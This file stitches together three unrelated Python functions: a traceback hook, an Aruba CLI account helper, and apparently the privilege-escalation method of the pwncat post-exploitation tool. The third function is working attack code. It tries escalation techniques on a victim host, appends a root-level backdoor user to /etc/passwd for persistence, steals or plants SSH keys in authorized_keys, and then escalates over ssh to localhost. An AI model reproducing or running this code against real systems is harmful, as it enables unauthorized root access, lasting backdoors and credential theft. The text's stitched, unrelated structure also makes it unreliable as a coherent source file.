def excepthook( type_, value, traceback, ): # cache error message if not len(value.args): value.args = ["No message"] cache_error(f"{type_.__name__}: {value.args[0]}", value.__doc__) # show error traceback emanager = ErrorManager( type_, value, traceback, keep_frames, all_locals, relevant_only, hide_locals, ) if isinstance(value, AttributeError): emanager.render_attribute_error() else: emanager.render_error() # Ask user if they want to google the error if enable_prompt: if Confirm( ).ask("\n[white]Do you want me to google solutions to this error? " ): get_answers(hide_panel=True)
def get_account_from_args(self) -> str: """Determine account to use based on arguments & last_account file. Method does no harm / triggers no errors. Any errors are handled in account_name_callback after cli is loaded. We need to determine the account during init to load the cache for auto completion. Returns: str: The account to use based on --account -d flags and last_account file. """ if "--account" in sys.argv: account = sys.argv[sys.argv.index("--account") + 1] elif "--account" in str(sys.argv): # vscode debug workaround args = [a.split(" ") for a in sys.argv if "--account " in a][0] account = args[args.index("--account") + 1] elif "-d" in sys.argv or " -d " in str(sys.argv) or str(sys.argv).endswith("-d"): return "central_info" else: account = "central_info" if account in ["central_info", "default"]: if self.sticky_account_file.is_file(): last_account, last_cmd_ts = self.sticky_account_file.read_text().split("\n") last_cmd_ts = float(last_cmd_ts) # TODO can't print here with about breaking auto-complete - restore messaging to account_name_callback # last account sticky file handling -- messaging is in cli callback -- console = Console() if self.forget: if time.time() > last_cmd_ts + (self.forget * 60): self.sticky_account_file.unlink(missing_ok=True) _m = f":warning: Forget option set for [cyan]{last_account}[/], and expiration has passed. [bright_green]reverting to default account[/]" _m = f"{_m}\nUse [cyan]--account[/] option or set environment variable ARUBACLI_ACCOUNT to use alternate account" # console.print(_m) if not Confirm(f"Proceed using default account", console=console): abort() else: account = last_account # console.print(f":warning: [magenta]Using Account[/] [cyan]{account}[/]\n") else: account = last_account # console.print(f":warning: [magenta]Using Account[/] [cyan]{account}[/]\n") else: if account in self.data: self.sticky_account_file.parent.mkdir(exist_ok=True) self.sticky_account_file.write_text(f"{account}\n{round(time.time(), 2)}") return account
def exec(self, user: str, shell: str, progress): """ Attempt to use all the techniques enumerated to execute a shell as the specified user. :param user: The user to execute a shell as :type user: str :param shell: The shell to execute :type shell: str :param progress: A rich Progress bar to update during escalation. """ original_user = pwncat.victim.current_user original_id = pwncat.victim.id target_user = pwncat.victim.users[user] task = progress.add_task("", module="escalating", status="...") # Ensure all output is flushed pwncat.victim.flush_output() # Ensure we are in a safe directory pwncat.victim.chdir("/tmp") if user in self.techniques: for technique in self.techniques[user]: if Capability.SHELL in technique.caps: try: progress.update(task, status=str(technique)) exit_cmd = technique.exec(shell) # These are evil, but required due to latency... :/ time.sleep(0.1) # Ensure we are stable pwncat.victim.reset(hard=False) pwncat.victim.update_user() # Check that the escalation succeeded new_id = pwncat.victim.id if new_id["euid"]["id"] != target_user.id: pwncat.victim.client.send(exit_cmd.encode("utf-8")) pwncat.victim.flush_output(some=False) continue progress.update(task, visible=False, done=True) return EscalateChain(original_user.name, [(technique, exit_cmd)]) except EscalateError: continue # Read /etc/passwd progress.update(task, status="reading /etc/passwd") with pwncat.victim.open("/etc/passwd", "r") as filp: passwd = filp.readlines() username = pwncat.config["backdoor_user"] password = pwncat.config["backdoor_pass"] hashed = crypt.crypt(password) passwd.append( f"{username}:{hashed}:0:0::/root:{pwncat.victim.shell}\n") passwd_content = "".join(passwd) try: progress.update(task, status="attempting to overwrite /etc/passwd") # Add a new user technique = self.write( "root", "/etc/passwd", passwd_content.encode("utf-8"), progress, no_exec=True, ) # Register the passwd persistence progress.update(task, status="registering persistence") pwncat.modules.find("persist.passwd").register( user="******", backdoor_user=username, backdoor_pass=password, shell=pwncat.victim.shell, ) # Reload user database pwncat.victim.reload_users() try: # su to root progress.update(task, status="escalating to root") pwncat.victim.su(username, password) exit_cmd = "exit\n" if user != "root": # We're now root, passwords don't matter progress.update(task, status=f"moving laterally to {user}") pwncat.victim.su(user, None) exit_cmd += "exit\n" # Notify user that persistence was installed progress.log("installed persist.passwd module for escalation") return EscalateChain(original_user.name, [(technique, exit_cmd)]) except PermissionError: pass except EscalateError: pass progress.update(task, status="checking for ssh server") # Enumerate system services loooking for an sshd service sshd = None for fact in pwncat.modules.run("enumerate.gather", progress=progress, types=["system.service"]): if "sshd" in fact.data.name and fact.data.state == "running": sshd = fact.data # Look for the `ssh` binary ssh_path = pwncat.victim.which("ssh") # If ssh is running, and we have a local `ssh`, then we can # attempt to leak private keys via readers/writers and # escalate with an ssh user@localhost if sshd is not None and sshd.state == "running" and ssh_path: # Read the user's authorized keys progress.update(task, status="attempting to read authorized keys") authkeys, authkeys_path = self._read_auth_keys(user, progress) # Attempt to read private key progress.update(task, status="attempting to read private keys") privkey, used_tech = self._leak_private_key( user, progress, authkeys) # We couldn't read the private key if privkey is None: try: # Read our backdoor private key with open(pwncat.config["privkey"], "r") as filp: privkey = filp.read() with open(pwncat.config["privkey"] + ".pub", "r") as filp: pubkey = filp.read() if authkeys is None: # This is important. Ask the user if they want to # clobber the authorized keys progress.stop() if Confirm( "could not read authorized keys; attempt to clobber user keys?" ): authkeys = [] progress.start() # Attempt to write to the authorized keys file if authkeys is None: progress.update( task, status="attemping to write authorized keys") used_tech = self._write_authorized_key( user, pubkey, authkeys, authkeys_path, progress) if used_tech is None: privkey = None except (FileNotFoundError, PermissionError): privkey = None if privkey is not None: # Write the private key to a temporary file for local usage progress.update(task, status="uploading private key") with pwncat.victim.tempfile("w", length=len(privkey)) as filp: filp.write(privkey) privkey_path = filp.name # Ensure we track this new file tamper = pwncat.victim.tamper.created_file(privkey_path) # SSH needs strict permissions progress.update(task, status="fixing private key permissions") pwncat.victim.run(f"chmod 600 {privkey_path}") # First, run a test to make sure we authenticate progress.update(task, status="testing local escalation") command = ( f"{ssh_path} -i {privkey_path} -o StrictHostKeyChecking=no -o PasswordAuthentication=no " f"{user}@127.0.0.1") output = pwncat.victim.run(f"{command} echo good") # We failed. Remove the private key and raise an # exception if b"good" not in output: tamper.revert() pwncat.victim.tamper.remove(tamper) raise EscalateError("ssh private key failed") # The test worked! Run the real escalate command progress.update(task, status="escalating via ssh!") pwncat.victim.process(command) pwncat.victim.reset(hard=False) pwncat.victim.update_user() progress.update(task, visible=False, done=True) return EscalateChain(original_user.name, [(used_tech, "exit")]) progress.update(task, visible=False, done=True) raise EscalateError(f"exec as {user} not possible")